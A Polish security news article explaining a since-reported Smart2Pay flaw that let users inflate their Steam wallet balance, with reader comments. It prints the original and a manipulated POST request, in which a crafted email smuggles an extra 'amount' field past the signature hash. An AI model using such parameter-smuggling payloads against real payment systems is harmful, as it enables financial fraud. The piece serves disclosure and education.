Preorder drugiego tomu książki sekuraka: Wprowadzenie do bezpieczeństwa IT. -15% z kodem: sekurak-book
Jak można było sobie dowolnie zwiększyć saldo portfela na platformie Steam? Krytyczna luka w Smart2Pay
Steam to jedna z największych i najpopularniejszych platform do dystrybucji cyfrowej gier komputerowych, stworzona przez Valve Corporation w 2003 roku. Jeśli jesteś graczem, to prawdopodobnie korzystasz z tego serwisu na co dzień…
Oczywiście za gry w większości przypadków przyjdzie nam zapłacić, i to niemało, bo często nawet ~ 200 PLN:
Rozwiązanie tego „problemu” znalazł jednak badacz bezpieczeństwa o pseudonimie DrBrix:
Według raportu luka wystąpiła po stronie dostawcy płatności Smart2Pay i umożliwiała generowanie salda konta Steam. Aby wykorzystać tę podatność, atakujący musiał najpierw zmienić adres e-mail swojego konta Steam w taki sposób, aby zawierał on sformułowanie “amount100”, np. brixamount100abc@gmail.com. Kolejnym krokiem było przejście do strony store.steampowered.com/steamaccount/addfunds i kliknięcie przycisku „Dodaj środki”:
Następnie należało wybrać metodę płatności dostępną za pośrednictwem Smart2Pay:
Przechodząc przez procedurę płatności, atakujący musiał przechwycić (np. za pomocą Burp Suite czy Fiddlera) żądanie POST do punktu końcowego globalapi.smart2pay.com:
POST / HTTP/1.1
Host: globalapi.smart2pay.com
Content-Length: 388
Cache-Control: max-age=0
Sec-Ch-Ua: „Chromium”;v=”92″, ” Not A;Brand”;v=”99″, „Google Chrome”;v=”92″
Sec-Ch-Ua-Mobile: ?0
Upgrade-Insecure-Requests: 1
Origin: https://store.steampowered.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://store.steampowered.com/
Accept-Encoding: gzip, deflate
Accept-Language: pl-PL,pl;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
MerchantID=1102&MerchantTransactionID=███&Amount=2000&Currency=PLN&ReturnURL=https%3A%2F%2Fstore.steampowered.com%2Fpaypal%2Fsmart2pay%2F████%2F&MethodID=12&Country=PL&CustomerEmail=brixamount100abc%40███████&CustomerName=drbrix&SkipHPP=1&Description=Steam+Purchase&SkinID=101&Hash=███
Nie można zmienić parametrów zapytania, ponieważ istnieje podpisane pole “Hash”:
Podpis tego hasha jest generowany w następujący sposób: hash(połączone wszystkie nazwy pól i ich wartości). W wypadku transakcji widocznej na zdjęciu wygląda to mniej więcej tak: hash(MerchantID1102MerchantTransactionIDXYZAmount2000…..)
Dzięki spreparowanemu e-mailowi można zmanipulować parametry w taki sposób, który zmodyfikuje wartość pola “Amount”. Na przykład można zmienić parametr Amount=2000 na Amount2=000, a w procesie „łączenia” otrzymać Amount2000. Następnie można zmienić adres e-mail z CustomerEmail=brixamount100abc%40████ na CustomerEmail=brix&amount=100&ab=c%40█████████, tym samym dodając nową wartość pola z wybraną przez siebie wartością. Wówczas „złośliwe” zapytanie będzie wyglądać następująco:
POST / HTTP/1.1
Host: globalapi.smart2pay.com
Content-Length: 388
Cache-Control: max-age=0
Sec-Ch-Ua: „Chromium”;v=”92″, ” Not A;Brand”;v=”99″, „Google Chrome”;v=”92″
Sec-Ch-Ua-Mobile: ?0
Upgrade-Insecure-Requests: 1
Origin: https://store.steampowered.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://store.steampowered.com/
Accept-Encoding: gzip, deflate
Accept-Language: pl-PL,pl;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
MerchantID=1102&MerchantTransactionID=██████&Amount2=000&Currency=PLN&ReturnURL=https%3A%2F%2Fstore.steampowered.com%2Fpaypal%2Fsmart2pay%2F████%2F&MethodID=12&Country=PL&CustomerEmail=brix&amount=100&ab=c%40██████████&CustomerName=drbrix&SkipHPP=1&Description=Steam+Purchase&SkinID=101&Hash=█████████
Teraz wystarczy zapłacić tylko jednego dolara, aby wzbogacić swój portfel Steam o zmanipulowaną kwotę.
W przypadku opisanym przez DrBrixa wykorzystanie podatności jest oczywiste – atakujący może za pośrednictwem „oszukanego” salda Steam wykupywać klucze do gier i z zyskiem sprzedawać je za prawdziwe pieniądze.
Firma Valve nagrodziła badacza kwotą w wysokości 7500 dolarów, co jest dość niską ceną za zgłoszenie tak krytycznego błędu.
~ Jakub Bielaszewski
Gratulacje dla Kajetana
Bardzo niska nagroda za taką podatność, gdyby to jacyś Turcy albo Rosjanie odkryli to cały market Steam by na tym ucierpiał (skiny etc.)
Gratulacje za odkrycie